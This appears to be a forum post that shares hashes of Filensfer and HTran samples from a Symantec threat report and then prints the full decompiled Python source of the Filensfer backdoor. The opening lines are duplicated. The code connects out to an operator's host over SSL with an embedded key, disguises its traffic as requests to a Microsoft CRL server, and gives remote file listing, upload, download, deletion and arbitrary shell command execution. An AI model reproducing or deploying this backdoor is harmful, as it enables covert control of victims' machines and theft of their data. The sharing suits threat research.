Article from Symantec: https://www.symantec.com/blogs/threat-i ... ay-exploit
Samples available in VT (attached):
6b1f8b303956c04e24448b1eec8634bd3fb2784c8a2d12ecf8588424b36d3cbc (Filensfer C++ native)
3dbe8700ecd27b3dc39643b95b187ccfd44318fc88c5e6ee6acf3a07cdaf377e (Filensfer Python version)
951f079031c996c85240831ea1b61507f91990282daae6da2841311322e8a6d7 (HTran)
Missing:
cbe23daa9d2f8e1f5d59c8336dd5b7d7ba1d5cf3f0d45e66107668e80b073ac3
53145f374299e673d82d108b133341dc7bee642530b560118e3cbcdb981ee92c
01f53953db8ba580ee606043a482f790082460c8cdbd7ff151d84e03fdc87e42
7bfad342ce88de19d090a4cb2ce332022650abd68f34e83fdc694f10a4090d65
1c9f1c7056864b5fdd491d5daa49f920c3388cb8a8e462b2bc34181cef6c1f9c
Brief analysis of the Python version of Filensfer: https://norfolkinfosec.com/filesnfer-tool-c-python/
As the blog author failed to fully decompile the script, here we go (internal name rsslct.py):
Samples available in VT (attached):
6b1f8b303956c04e24448b1eec8634bd3fb2784c8a2d12ecf8588424b36d3cbc (Filensfer C++ native)
3dbe8700ecd27b3dc39643b95b187ccfd44318fc88c5e6ee6acf3a07cdaf377e (Filensfer Python version)
951f079031c996c85240831ea1b61507f91990282daae6da2841311322e8a6d7 (HTran)
Missing:
cbe23daa9d2f8e1f5d59c8336dd5b7d7ba1d5cf3f0d45e66107668e80b073ac3
53145f374299e673d82d108b133341dc7bee642530b560118e3cbcdb981ee92c
01f53953db8ba580ee606043a482f790082460c8cdbd7ff151d84e03fdc87e42
7bfad342ce88de19d090a4cb2ce332022650abd68f34e83fdc694f10a4090d65
1c9f1c7056864b5fdd491d5daa49f920c3388cb8a8e462b2bc34181cef6c1f9c
Brief analysis of the Python version of Filensfer: https://norfolkinfosec.com/filesnfer-tool-c-python/
As the blog author failed to fully decompile the script, here we go (internal name rsslct.py):
Code: Select all
"""This module provides some more Pythonic support for SSL.
Object types:
SSLSocket -- subtype of socket.socket which does SSL over the socket
Exceptions:
SSLError -- exception raised for I/O errors
Functions:
cert_time_to_seconds -- convert time string used for certificate
notBefore and notAfter functions to integer
seconds past the Epoch (the time values
returned from time.time())
fetch_server_certificate (HOST, PORT) -- fetch the certificate provided
by the server running on HOST at port PORT. No
validation of the certificate is performed.
Integer constants:
SSL_ERROR_ZERO_RETURN
SSL_ERROR_WANT_READ
SSL_ERROR_WANT_WRITE
SSL_ERROR_WANT_X509_LOOKUP
SSL_ERROR_SYSCALL
SSL_ERROR_SSL
SSL_ERROR_WANT_CONNECT
SSL_ERROR_EOF
SSL_ERROR_INVALID_ERROR_CODE
The following group define certificate requirements that one side is
allowing/requiring from the other side:
CERT_NONE - no certificates from the other side are required (or will
be looked at if provided)
CERT_OPTIONAL - certificates are not required, but if provided will be
validated, and if validation fails, the connection will
also fail
CERT_REQUIRED - certificates are required, and will be validated, and
if validation fails, the connection will also fail
The following constants identify various SSL protocol variants:
PROTOCOL_SSLv2
PROTOCOL_SSLv3
PROTOCOL_SSLv23
PROTOCOL_TLSv1
PROTOCOL_TLSv1_1
PROTOCOL_TLSv1_2
The following constants identify various SSL alert message descriptions as per
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
ALERT_DESCRIPTION_CLOSE_NOTIFY
ALERT_DESCRIPTION_UNEXPECTED_MESSAGE
ALERT_DESCRIPTION_BAD_RECORD_MAC
ALERT_DESCRIPTION_RECORD_OVERFLOW
ALERT_DESCRIPTION_DECOMPRESSION_FAILURE
ALERT_DESCRIPTION_HANDSHAKE_FAILURE
ALERT_DESCRIPTION_BAD_CERTIFICATE
ALERT_DESCRIPTION_UNSUPPORTED_CERTIFICATE
ALERT_DESCRIPTION_CERTIFICATE_REVOKED
ALERT_DESCRIPTION_CERTIFICATE_EXPIRED
ALERT_DESCRIPTION_CERTIFICATE_UNKNOWN
ALERT_DESCRIPTION_ILLEGAL_PARAMETER
ALERT_DESCRIPTION_UNKNOWN_CA
ALERT_DESCRIPTION_ACCESS_DENIED
ALERT_DESCRIPTION_DECODE_ERROR
ALERT_DESCRIPTION_DECRYPT_ERROR
ALERT_DESCRIPTION_PROTOCOL_VERSION
ALERT_DESCRIPTION_INSUFFICIENT_SECURITY
ALERT_DESCRIPTION_INTERNAL_ERROR
ALERT_DESCRIPTION_USER_CANCELLED
ALERT_DESCRIPTION_NO_RENEGOTIATION
ALERT_DESCRIPTION_UNSUPPORTED_EXTENSION
ALERT_DESCRIPTION_CERTIFICATE_UNOBTAINABLE
ALERT_DESCRIPTION_UNRECOGNIZED_NAME
ALERT_DESCRIPTION_BAD_CERTIFICATE_STATUS_RESPONSE
ALERT_DESCRIPTION_BAD_CERTIFICATE_HASH_VALUE
ALERT_DESCRIPTION_UNKNOWN_PSK_IDENTITY
"""
import ssl, socket, select, os, re, sys, threading, subprocess, time, struct, random, zlib, signal, ctypes, tempfile, base64
__all__ = [
'SendPacket', 'RecvPacket', 'LoadCert']
MyQueue = []
BUFFER_LEN = 8192
LISTEN_MAXCOUNT = 80
bQueue = False
tranSpeed = 0
DefaultDir = ''
SIGNASTR = '3F53BC9A64A363921BD0B6B660A3605A'
REQUEST_HEADER = 'GET / HTTP/1.1\r\nHost: crl.microsoft.com\r\nConnection: close\r\nCookie: MUID=%s\r\n\r\n' % SIGNASTR
RESPONSE_HEADER = 'HTTP/1.1 404 OK\r\nServer: Apache\r\nContent-Length: 21\r\n\r\n<h1>Not Found.</h1>\r\n'
Lock = threading.RLock()
class Enum(tuple):
__getattr__ = tuple.index
class DirItem:
def __init__(self, mtime=0, isDir=False, filelen=0, filename=''):
self.m_mtime = mtime
self.m_isDir = isDir
self.m_filelen = filelen
self.m_filename = filename
self.m_State = False
self.struct_str = '?Q?Q260s'
def __repr__(self):
return self.toString()
def __str__(self):
return self.toString()
def __len__(self):
return struct.calcsize(self.struct_str)
def toString(self):
if self.m_isDir:
self.m_filelen = 0
return struct.pack(self.struct_str, self.m_State, self.m_mtime, self.m_isDir, self.m_filelen, self.m_filename)
def unpack(self, buf):
if len(buf) != struct.calcsize(self.struct_str):
return False
self.m_State, self.m_mtime, self.m_isDir, self.m_filelen, self.m_filename = struct.unpack(self.struct_str, buf)
tmpname = self.m_filename
index = tmpname.find('\x00')
if index >= 0:
self.m_filename = tmpname[:index]
return True
def pack(self, mtime, isDir, filelen, filename):
self.m_mtime = mtime
self.m_isDir = isDir
self.m_filelen = filelen
self.m_filename = filename
self.m_State = False
return self.toString()
def clear(self):
self.m_mtime = 0
self.m_isDir = False
self.m_filelen = 0
self.m_filename = ''
self.m_State = False
class TransArgs:
def __init__(self, Order=0, Speed=0, bZip=True, Length=0, Path=''):
self.m_Order = Order
self.m_Speed = Speed
self.m_bZip = bZip
self.m_Length = Length
self.m_Path = Path
self.struct_str = 'ii?Q1024s'
def toString(self):
self.bZip = True
return struct.pack(self.struct_str, self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path)
def __repr__(self):
return self.toString()
def __str__(self):
return self.toString()
def __len__(self):
return struct.calcsize(self.struct_str)
def unpack(self, buf):
if len(buf) != struct.calcsize(self.struct_str):
return [-1, 0, True, 0, '']
self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path = struct.unpack(self.struct_str, buf)
tmppath = self.m_Path
index = tmppath.find('\x00')
if index >= 0:
self.m_Path = tmppath[:index]
return [self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path]
def pack(self, Order, Speed, bZip, Length, Path):
self.m_Order = Order
self.m_Speed = Speed
self.m_bZip = bZip
self.m_Length = Length
self.m_Path = Path
return self.toString()
def clear(self):
self.m_Order = 0
self.m_Speed = 0
self.m_bZip = True
self.m_Length = 0
self.m_Path = ''
def print_log(xtype, pstr, btime=True):
pass
def Recv(sock, size, timeout=3, bLoop=True):
nRet = 0
Bufdata = ''
try:
while nRet < size:
if not monitor.status():
sock.close()
break
bErr = False
readfds, writefds, errfds = select.select([sock], [], [sock], timeout)
if not (readfds or errfds):
if not bLoop:
break
else:
continue
for rs in readfds:
if rs is sock:
tmpbuf = sock.recv(size - nRet)
nRet = nRet + len(tmpbuf)
Bufdata += tmpbuf
if len(tmpbuf) <= 0:
return -1
for es in errfds:
bErr = True
break
if bErr:
break
except:
sock.close()
return Bufdata
def SendPacket(sock, buf):
iResult = 0
Bufdata = ''
SendLen = 0
Bufdata = zlib.compress(buf)
SendLen = len(Bufdata)
try:
sock.send(struct.pack('i', SendLen))
iResult = sock.send(Bufdata)
except socket.error:
pass
except:
pass
return iResult
def RecvPacket(sock, size=0):
iResult = 0
Bufdata = ''
strlen = ''
try:
strlen = Recv(sock, 4)
RecvLen = struct.unpack('i', strlen)[0]
Bufdata = Recv(sock, RecvLen)
except:
pass
else:
buf = ''
try:
buf = zlib.decompress(Bufdata)
except zlib.error as e:
pass
return buf
def GenFileName(strFile):
pref = os.path.splitext(strFile)[0]
ext = os.path.splitext(strFile)[1]
index = 1
Path = strFile
while os.path.exists(Path):
Path = '%s-%02d%s' % (pref, index, ext)
index = index + 1
return Path
def UnitConv(fSize):
strView = ''
if fSize < 1024:
strView = '%d B' % fSize
else:
if fSize < 1048576:
strView = '%0.2f KB' % (fSize / 1024.0)
else:
if fSize < 1073741824:
strView = '%0.2f MB' % (fSize / 1048576.0)
else:
strView = '%0.2f GB' % (fSize / 1073741824.0)
return strView
def PutFileData(pSocket, sourceFile, Length, types=0, lLen=0, Speeds=10485760, bZip=True):
try:
rdf = open(sourceFile, 'rb')
except:
return 0
else:
if Speeds <= 0 or Speeds > 10485760:
Speeds = 10485760
lSize = Length
nSize = lLen
Buffer = ''
dwTick = 0
ntime = 0
nCount = 0.0
nTotal = lSize + 0.0
dwTick = ntime = time.time()
nResult = 2
try:
while True:
Buffer = ''
rdf.seek(nSize)
Buffer = rdf.read(BUFFER_LEN)
buf_len = len(Buffer)
if buf_len <= 0:
break
nSize += buf_len
nCount += buf_len
if Speeds > 0:
if nCount >= Speeds * 1024 * 2:
time.sleep(2 - (time.time() - ntime))
if time.time() - ntime >= 2:
ntime = time.time()
if types == 0:
print_log(ltype.normal, '[*] File upload %0.2f%%, Speed:%s/s%10s\r' % (nSize / nTotal * 100, UnitConv(nCount / 2), ''))
nCount = 0
nRet = 0
if bZip:
nRet = SendPacket(pSocket, Buffer)
else:
nRet = pSocket.send(Buffer)
if nRet <= 0:
rdf.close()
if types == 0 and nSize < nTotal:
print_log(ltype.error, 'Send not complete!')
if nSize < nTotal:
return 1
if types == 0:
dwTick = time.time() - dwTick
dwTick = 1 if dwTick <= 0 else dwTick
print_log(ltype.success, 'Taks %d seconds, an average speed of %s/s, Download the complete!\n' % (1 if dwTick < 1 else dwTick, UnitConv(nTotal / dwTick if dwTick > 1 else nTotal)))
except Exception as e:
print_log(ltype.error, "'PutFileData' exception: %s" % e)
nResult = 1
rdf.close()
return nResult
def GetFileData(gSocket, destFile, Length, types, lLen, bZip=True):
Result = 2
wtf = None
try:
if lLen > 0:
wtf = open(destFile, 'ab+')
else:
wtf = open(destFile, 'wb+')
except:
return 0
else:
lSize = Length
Buffer = ''
dwTick = 0
ntime = 0
nCount = 0.0
nTotal = Length + 0.0
dwTick = ntime = time.time()
lSize -= lLen
bLen = BUFFER_LEN
try:
while lSize > 0:
Buffer = RecvPacket(gSocket, bLen if lSize > bLen else lSize)
nRet = len(Buffer)
if nRet <= 0:
wtf.close()
if types == 0 and lSize > 0:
print_log(ltype.error, 'Recv file not complete!\n')
if lSize > 0:
break
nRet = 0
lSize -= nRet
nCount += nRet
if types == 0:
if time.time() - ntime > 2:
ntime = time.time()
print_log(ltype.normal, '[*] File download %0.2f%%, Speed:%s/s%10s\r' % ((1 - lSize / nTotal) * 100, UnitConv(nCount / 2), ''), True)
nCount = 0
wtf.write(Buffer)
if types == 0:
dwTick = time.time() - dwTick
dwTick = 1 if dwTick <= 0 else dwTick
print_log(ltype.success, 'Takes %d seconds, an average speed of %s/s, Download the complete!\n' % (1 if dwTick < 1 else dwTick, UnitConv(nTotal / dwTick if dwTick > 1 else nTotal)))
except Exception as e:
print_log(ltype.error, "'GetFileData' exception: %s\n" % e)
Result = 1
wtf.close()
return Result
def SendDirList(sock, filepath):
findpath = ''
matchstr = ''
pattern = None
Separator = '\\' if os.name == 'nt' else '/'
if os.path.isdir(filepath):
findpath = filepath
else:
if os.path.exists(filepath):
item = DirItem()
stat = os.lstat(filepath)
item.m_mtime = stat[8]
item.m_filelen = stat[6]
item.m_filename = os.path.basename(filepath)
SendPacket(sock, str(item))
item.clear()
item.m_State = True
SendPacket(sock, str(item))
return
if filepath.find('*') >= 0 or filepath.find('?') >= 0:
ix = filepath.rfind(Separator)
if ix <= 0:
item = DirItem()
item.m_State = True
SendPacket(sock, str(item))
return
findpath = filepath[:ix]
matchstr = filepath[ix + 1:]
else:
item = DirItem()
item.m_State = True
SendPacket(sock, str(item))
return
if len(matchstr) > 0:
pattern = re.compile(matchstr.replace('.', '\\.').replace('*', '.*').replace('?', '.?') + '$', re.IGNORECASE)
dlist = os.listdir(findpath)
for fs in dlist:
if pattern:
if not re.match(pattern, fs):
continue
item = DirItem()
path = os.path.abspath(findpath + Separator + fs)
if os.path.isdir(path):
item.m_isDir = True
stat = os.lstat(path)
item.m_mtime = stat[8]
item.m_filelen = stat[6]
item.m_filename = fs
SendPacket(sock, str(item))
item = DirItem()
item.m_State = True
SendPacket(sock, str(item))
return
def ServerLoopPro(sock):
global DefaultDir
CurrentDir = DefaultDir
Separator = '\\' if os.name == 'nt' else '/'
packlen = struct.calcsize('ii?L1024s')
host, port = sock.getpeername()
try:
while True:
if not monitor.status():
sock.close()
break
strpack = RecvPacket(sock)
RecvArg = TransArgs()
Order, iSpeed, bZip, Length, path = RecvArg.unpack(strpack)
filePath = ''
if Order != 205:
filePath = os.path.abspath(path)
if Order == 200:
print_log(ltype.warning, "%s:%d dir '%s' list.\n" % (host, port, filePath))
SendDirList(sock, filePath)
elif Order == 201:
print_log(ltype.warning, "%s:%d download file '%s'.\n" % (host, port, filePath))
if not os.path.exists(filePath):
fileLen = 0
else:
fileLen = os.path.getsize(filePath)
RecvArg.clear()
tmppack = RecvArg.pack(Order, iSpeed, bZip, fileLen, '')
SendPacket(sock, tmppack)
tmppack = RecvPacket(sock)
localLen = RecvArg.unpack(tmppack)[3]
iOrder = RecvArg.unpack(tmppack)[0]
if iOrder == 0:
continue
PutFileData(sock, filePath, 0, 1, localLen, iSpeed, bZip)
elif Order == 202:
print_log(ltype.warning, "%s:%d upload file '%s'.\n" % (host, port, filePath))
localLen = 0
RemoteLen = Length
TempFile = '%s.CT' % filePath
if os.path.exists(TempFile):
localLen = os.path.getsize(TempFile)
RecvArg.clear()
tmppack = RecvArg.pack(Order, iSpeed, bZip, localLen, '')
SendPacket(sock, tmppack)
if GetFileData(sock, TempFile, RemoteLen, 1, localLen, bZip) == 2:
SaveFile = GenFileName(filePath)
os.rename(TempFile, SaveFile)
elif Order == 204:
print_log(ltype.warning, "%s:%d delete file '%s'.\n" % (host, port, filePath))
resCode = 0
if not os.path.exists(filePath):
resCode = 403
else:
if os.path.isdir(filePath):
resCode = 400
else:
try:
os.remove(filePath)
resCode = 1
except:
resCode = 0
sock.send(struct.pack('i', resCode))
elif Order == 205:
result = ''
sendData = TransArgs()
path = 'cd %s%s %s %s' % ('/d ' if os.name == 'nt' else '', CurrentDir, '&' if os.name == 'nt' else ';', path)
if not bZip:
sendData.m_Order = 205
try:
os.popen(path)
except Exception as e:
sendData.m_Order = 0
sendData.m_Path = str(e)
SendPacket(sock, str(sendData))
continue
pstd = subprocess.Popen(path, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
for line in pstd.stdout.readlines():
result += line
l = len(result)
i = 0
while True:
sendData.clear()
if i >= l:
break
sendData.m_Order = 205
tmp = result[i:i + 1022]
i += 1022
sendData.m_Path = tmp
SendPacket(sock, str(sendData))
sendData.clear()
sendData.m_Order = 0
SendPacket(sock, str(sendData))
elif Order == 206:
nClose = 0
if tmObj.isAlive():
nClose = tmObj.get_value()
sock.send(struct.pack('i', nClose))
elif Order == 207:
nRet = 0
if iSpeed > 1:
if tmObj.isAlive():
nRet = 1
tmObj.set_value(iSpeed)
sock.send(struct.pack('i', nRet))
elif Order == 208:
nRet = 0
if os.path.isdir(path):
nRet = 1
CurrentDir = os.path.abspath(path)
DefaultDir = CurrentDir
os.chdir(DefaultDir)
elif Order == 209:
pass
elif Order == 210:
RecvArg.clear()
RecvArg.m_Order = Order
RecvArg.m_Path = CurrentDir
SendPacket(sock, str(RecvArg))
elif Order == 999:
sock.send(struct.pack('L', 999))
else:
sock.send('Error, Byebye!\n')
sock.close()
except:
print_log(ltype.error, '%s:%d An established connection was aborted.\n' % (host, port))
return 0
def ServerX(host, port):
global DefaultDir
print_log(ltype.normal, '---------- Transfer File Server ----------\n')
if len(DefaultDir) <= 0:
DefaultDir = os.path.abspath('.')
crtf = hCert.get_crt()
keyf = hCert.get_key()
while True:
if not monitor.status():
break
sockSrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sockSrv.connect((host, port))
sockSrv = ssl.wrap_socket(sockSrv, server_side=True, certfile=crtf, keyfile=keyf)
peerList = sockSrv.getpeername()
VerifyStr = Recv(sockSrv, len(REQUEST_HEADER), 5, False)
if VerifyStr.find(SIGNASTR) <= 0:
with Lock:
print_log(ltype.warning, '%s:%d Validation fails.\n' % peerList)
sockSrv.send(RESPONSE_HEADER)
sockSrv.close()
continue
except KeyboardInterrupt:
print_log(ltype.warning, 'User interrupt operation.\n')
monitor.close()
sys.exit()
except Exception as e:
print_log(ltype.error, str(e) + '\n')
continue
else:
print_log(ltype.success, '%s:%d Successfully connected.\n' % peerList)
hThread = threading.Thread(target=ServerLoopPro, args=(sockSrv,))
hThread.start()
class LoadCert(object):
def __init__(self):
self.__crt_path = ''
self.__key_path = ''
self.__crt = 'Q2VydGlmaWNhdGU6CiAgICBEYXRhOgogICAgICAgIFZlcnNpb246IDMgKDB4MikKICAgICAgICBTZXJpYWwgTnVtYmVyOiAxICgweDEpCiAgICBTaWduYXR1cmUgQWxnb3JpdGhtOiBzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgogICAgICAgIElzc3VlcjogQz1VUywgU1Q9QkEsIE89Um9vdCwgT1U9Um9vdCwgQ049Um9vdAogICAgICAgIFZhbGlkaXR5CiAgICAgICAgICAgIE5vdCBCZWZvcmU6IEZlYiAyMCAyMToyODoyNyAyMDE3IEdNVAogICAgICAgICAgICBOb3QgQWZ0ZXIgOiBGZWIgMjAgMjE6Mjg6MjcgMjAxOCBHTVQKICAgICAgICBTdWJqZWN0OiBDPVVTLCBTVD1CQSwgTz1Sb290LCBPVT1Sb290LCBDTj1Sb290CiAgICAgICAgU3ViamVjdCBQdWJsaWMgS2V5IEluZm86CiAgICAgICAgICAgIFB1YmxpYyBLZXkgQWxnb3JpdGhtOiByc2FFbmNyeXB0aW9uCiAgICAgICAgICAgICAgICBQdWJsaWMtS2V5OiAoMTAyNCBiaXQpCiAgICAgICAgICAgICAgICBNb2R1bHVzOgogICAgICAgICAgICAgICAgICAgIDAwOmJjOmU2OmFlOjkzOjA0OjA4OjZhOjE2OmQ0OmI4Ojg4OjEzOjg3OjI3OgogICAgICAgICAgICAgICAgICAgIDQ4OjQ4OjM5OmRmOjdiOjFiOjcyOmNkOjBlOmMyOmY2OjhkOjY5OmZkOjc1OgogICAgICAgICAgICAgICAgICAgIGU4OjMxOmIyOmRiOjdiOjE1OmQ2OmEyOmQxOjk5OjNhOjljOmI2OjRiOmVmOgogICAgICAgICAgICAgICAgICAgIGE5OjlmOjkwOjhhOjAzOjM1OmY0OjRlOjM2OmUyOjgwOjQxOmI5OjBmOjU3OgogICAgICAgICAgICAgICAgICAgIDRkOmRiOmU0Ojc4OmQ3OjhiOmVlOjA2OmUxOjRiOmMzOjdjOjAwOjljOjU5OgogICAgICAgICAgICAgICAgICAgIGQyOjg4OjRjOjAzOjUxOjUzOmZmOmIyOjdiOjU4OjFiOmYyOjRmOmNjOmVlOgogICAgICAgICAgICAgICAgICAgIDY0OmIxOmY0OjEyOmQ1OjE5OmEwOmRjOjM5OjEyOjliOjRmOjVlOmJlOjVkOgogICAgICAgICAgICAgICAgICAgIGZiOjA1OjZlOjU3Ojc3OjRiOjI2OjE3OjYyOmUyOmY3OmU1OjZiOmM1OjI4OgogICAgICAgICAgICAgICAgICAgIGI0OjQxOjg4OmRiOmI1OjVkOmRlOmViOjlkCiAgICAgICAgICAgICAgICBFeHBvbmVudDogNjU1MzcgKDB4MTAwMDEpCiAgICAgICAgWDUwOXYzIGV4dGVuc2lvbnM6CiAgICAgICAgICAgIFg1MDl2MyBCYXNpYyBDb25zdHJhaW50czogCiAgICAgICAgICAgICAgICBDQTpGQUxTRQogICAgICAgICAgICBOZXRzY2FwZSBDb21tZW50OiAKICAgICAgICAgICAgICAgIE9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlCiAgICAgICAgICAgIFg1MDl2MyBTdWJqZWN0IEtleSBJZGVudGlmaWVyOiAKICAgICAgICAgICAgICAgIDY2OkY4Ojc3OjYwOjlBOkY2OkM3OjVDOkM1OjQzOkVGOkUxOjJGOjY3OjE2Ojc1OjlCOjE0OkIxOjA2CiAgICAgICAgICAgIFg1MDl2MyBBdXRob3JpdHkgS2V5IElkZW50aWZpZXI6IAogICAgICAgICAgICAgICAga2V5aWQ6RUY6Rjg6NTM6QzU6RTc6Rjk6RDc6MTI6RUQ6NTA6OTA6OEQ6Qjc6M0M6NEI6QUE6MDk6QkM6RDc6RTgKCiAgICBTaWduYXR1cmUgQWxnb3JpdGhtOiBzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgogICAgICAgICA2ZDpjNTo0OTpiZTpkYTpiYzoyNDoyMDo0NTo0MToxMDo3Njo3YjpkODozYjo3ZTpiNjpkODoKICAgICAgICAgN2M6NDY6NjI6MGI6ODg6YjA6NjY6MGI6OTY6NGE6YWE6OWU6MzE6NjE6OTY6NjI6NmY6NDg6CiAgICAgICAgIDgwOjA0OjAyOjQ0OmVlOjk4OjViOjBiOjNjOjljOmQ5OmJjOmVhOmVlOmQyOjBmOjQ1OmJlOgogICAgICAgICBkMToyNTphMTpkODpkOTo1ZjplYjozODpkMzpjMzowNDo4Njo0YzpkYjpiYzo1Zjo0OTo4YzoKICAgICAgICAgNjY6YzA6YTc6OTk6ODM6M2U6NWM6ZDc6YTg6N2M6OTA6MzQ6YTI6Yjk6ZmQ6OTg6M2U6MDM6CiAgICAgICAgIDI0OjQ5Ojc2OmVkOmY3OmM3OjRmOmY4OjYwOjNiOmJjOmM1OjFiOmNlOmE0OjYzOmJjOjY4OgogICAgICAgICA0ODozOTo1OTowNTozODo1NTo0ZTo1ZDpiODo3NDo1ZTphMzo0Zjo5ODpmZTpkZDoxYjo3YToKICAgICAgICAgYmI6MTMKLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNmekNDQWVpZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREJITVFzd0NRWURWUVFHRXdKVlV6RUwKTUFrR0ExVUVDQXdDUWtFeERUQUxCZ05WQkFvTUJGSnZiM1F4RFRBTEJnTlZCQXNNQkZKdmIzUXhEVEFMQmdOVgpCQU1NQkZKdmIzUXdIaGNOTVRjd01qSXdNakV5T0RJM1doY05NVGd3TWpJd01qRXlPREkzV2pCSE1Rc3dDUVlEClZRUUdFd0pWVXpFTE1Ba0dBMVVFQ0F3Q1FrRXhEVEFMQmdOVkJBb01CRkp2YjNReERUQUxCZ05WQkFzTUJGSnYKYjNReERUQUxCZ05WQkFNTUJGSnZiM1F3Z1o4d0RRWUpLb1pJaHZjTkFRRUJCUUFEZ1kwQU1JR0pBb0dCQUx6bQpycE1FQ0dvVzFMaUlFNGNuU0VnNTMzc2JjczBPd3ZhTmFmMTE2REd5MjNzVjFxTFJtVHFjdGt2dnFaK1FpZ00xCjlFNDI0b0JCdVE5WFRkdmtlTmVMN2diaFM4TjhBSnhaMG9oTUExRlQvN0o3V0J2eVQ4enVaTEgwRXRVWm9OdzUKRXB0UFhyNWQrd1Z1VjNkTEpoZGk0dmZsYThVb3RFR0kyN1ZkM3V1ZEFnTUJBQUdqZXpCNU1Ba0dBMVVkRXdRQwpNQUF3TEFZSllJWklBWWI0UWdFTkJCOFdIVTl3Wlc1VFUwd2dSMlZ1WlhKaGRHVmtJRU5sY25ScFptbGpZWFJsCk1CMEdBMVVkRGdRV0JCUm0rSGRnbXZiSFhNVkQ3K0V2WnhaMW14U3hCakFmQmdOVkhTTUVHREFXZ0JUditGUEYKNS9uWEV1MVFrSTIzUEV1cUNielg2REFOQmdrcWhraUc5dzBCQVFzRkFBT0JnUUJ0eFVtKzJyd2tJRVZCRUhaNwoyRHQrdHRoOFJtSUxpTEJtQzVaS3FwNHhZWlppYjBpQUJBSkU3cGhiQ3p5YzJienE3dElQUmI3UkphSFkyVi9yCk9OUERCSVpNMjd4ZlNZeG13S2VaZ3o1YzE2aDhrRFNpdWYyWVBnTWtTWGJ0OThkUCtHQTd2TVVienFSanZHaEkKT1ZrRk9GVk9YYmgwWHFOUG1QN2RHM3E3RXc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
self.__key = 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDWFFJQkFBS0JnUUM4NXE2VEJBaHFGdFM0aUJPSEowaElPZDk3RzNMTkRzTDJqV245ZGVneHN0dDdGZGFpCjBaazZuTFpMNzZtZmtJb0ROZlJPTnVLQVFia1BWMDNiNUhqWGkrNEc0VXZEZkFDY1dkS0lUQU5SVS8reWUxZ2IKOGsvTTdtU3g5QkxWR2FEY09SS2JUMTYrWGZzRmJsZDNTeVlYWXVMMzVXdkZLTFJCaU51MVhkN3JuUUlEQVFBQgpBb0dBYUlkWjZONWRiWjh1bk9JbnRDMG5rVmY4ODFsd0FFcC8xZ0RRdXNHSStCOVoxbFZ5VE95ZzFzOHJEUUFVCm84aE9wcEl2bXl4Qnora09aNC9POUxRTHJYN1BpVDlZaUkvYitVd2hTYzVvMGVVL1BpTE9oQXNwZ0hXUzIzYlkKYjFXNjBFNEhoN3pmTVVuVG9rU1pxWEpycFZJWTBGbGpRbVB4OEdPUHVPcUhOZDBDUVFEcWZ1RDc2cUw5YTJ2LwphZ29Xb1dHclM3WXdSS3B0aTEwWWtDMERUUmxLTFN5amF5N1FTM0NMS1VpVEpGQXUwcWhlUUtOR2NYcXVsRUdLCm4vOUNDVjZ6QWtFQXpqbG9CUmMwUlh3T3BSNDVZa3VsOWdWY1ZTYmRQSWIzN1pUNnlieHIzVVhOR1prQ3U3L1EKZDQ4bDZuZ2dtOHlpVGZ3WlBPK2EzWHk3ei9QalltTzBid0pBTFZoRnAxRXpIWEFsWFNtak04Y1hQT21TSEhsYQp2MzRnalh4cngrU2p6RTA2QVl2YmJKbjU5RjhTVXFuRis1ZnV5UE1VMzYxWC9PUmNYRE1lU0NYSnN3SkJBSk1sCkx1MkM4dzhwUjZIVmdRaDhCYjBYY2h4b0VLL2hkZ0lWclNSSXg0WXBDZ0ZieGpHRTJoQ1ZHVzdGckM2K3dvaDIKZXVPWjY1eGlKZmhwZ3pOdkJRMENRUUN5WVVLUzMrRGt6S3Buc1JkbEIwR3IvR1RSR0lZZzFhTWhycldhcW82YQp5NDJnUXdxWnBPZG9TYVhKdEp6ZjUrQkd3U1VsNXc5YjR0cFMyZ2cvaWNvUAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo='
def get_crt(self):
tmppath = tempfile.mktemp()
with open(tmppath, 'wb') as (f):
f.write(base64.b64decode(self.__crt))
self.__crt_path = tmppath
return tmppath
def get_key(self):
tmppath = tempfile.mktemp()
with open(tmppath, 'wb') as (f):
f.write(base64.b64decode(self.__key))
self.__key_path = tmppath
return tmppath
def clean(self):
os.remove(self.__crt_path)
os.remove(self.__key_path)
def handler(signum, frame):
monitor.close()
hCert.clean()
print_log(ltype.warning, 'Receive a signal %d, program will exit.\n' % signum)
sys.exit(0)
class Monitor:
def __init__(self):
self._bConnect = True
self._lock = threading.RLock()
def close(self):
self._lock.acquire()
self._bConnect = False
self._lock.release()
def status(self):
return self._bConnect
class Timer(threading.Thread):
def __init__(self, Interval=0):
self._interval = Interval * 60
threading.Thread.__init__(self)
def set_value(self, Interval):
self._interval = Interval * 60
def get_value(self):
return self._interval / 60
def run(self):
while self._interval > 0:
if not monitor.status():
break
time.sleep(1)
self._interval = self._interval - 1
monitor.close()
if __name__ == '__main__':
signal.signal(signal.SIGINT, handler)
signal.signal(signal.SIGTERM, handler)
ltype = Enum(['success', 'normal', 'warning', 'error'])
monitor = Monitor()
tmObj = Timer()
hCert = LoadCert()
argLen = len(sys.argv)
if argLen < 3:
sys.exit(0)
arg = sys.argv
iMutex = 0
bServer = 0
destIP = ''
destPort = 0
for i in range(1, argLen):
if arg[i] == '-s':
iMutex += 1
bServer = 1
if argLen > i + 1 and arg[i + 1] != '':
host = arg[i + 1].split(':')
if len(host) != 2:
print_log(ltype.error, '%s -s host:port\n' % sys.argv[0], False)
sys.exit()
destIP = host[0]
destPort = int(host[1])
if destPort <= 0 or destPort >= 65535:
print_log(ltype.error, 'the input port incorrect.\n')
sys.exit()
else:
print_log(ltype.error, 'Please input a port.\n')
sys.exit()
if arg[i] == '-dir' and argLen > i + 1:
DefaultDir = arg[i + 1]
if arg[i] == '-t' and argLen > i + 1:
argInterval = int(arg[i + 1])
if argInterval <= 0:
print_log(ltype.error, 'parameter set error.\n')
sys.exit()
